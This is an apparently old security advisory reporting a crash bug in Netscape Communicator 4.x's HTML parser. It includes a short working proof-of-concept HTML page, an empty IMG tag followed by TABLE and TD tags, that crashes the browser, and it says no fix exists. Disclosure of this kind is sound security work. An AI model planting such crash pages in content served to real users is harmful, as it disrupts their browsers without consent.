COMMAND
Netscape Communicator
SYSTEMS AFFECTED
Linux, Win95 & NT, Solaris (2.5)
PROBLEM
'nocarrier' found following bug in HTML Parser of Netscape
Communicator 4.x. Result is that can crash the browser and make
you crazy after few times. The following code is all that is
necessary to crash the browser. Intermixing different tags may
render this bug benign, so the specific order is required. The
<HTML><HEAD>...<BODY> and closing tags are not necessary.
Under NT Communicator won't crash if you access it as:
file:///X|/path/crash.html
(by "double clicking" on it or something), but it does crash if
you access it by say:
http://localhost/crash.html.
<HTML>
<HEAD><TITLE>Crash me!</TITLE></HEAD>
<BODY>
Here's some text. The following IMG tag can be valid or invalid,
it didn't matter in the tests I ran.
<IMG SRC="">
Some more text. Following the IMG tag, you must have at least a
TABLE and TD tag. The existance of the TR tag is not necessary to
cause the crash.
<TABLE>
<TR>
<TD>
</BODY>
</HTML>
SOLUTION
Nothing so far.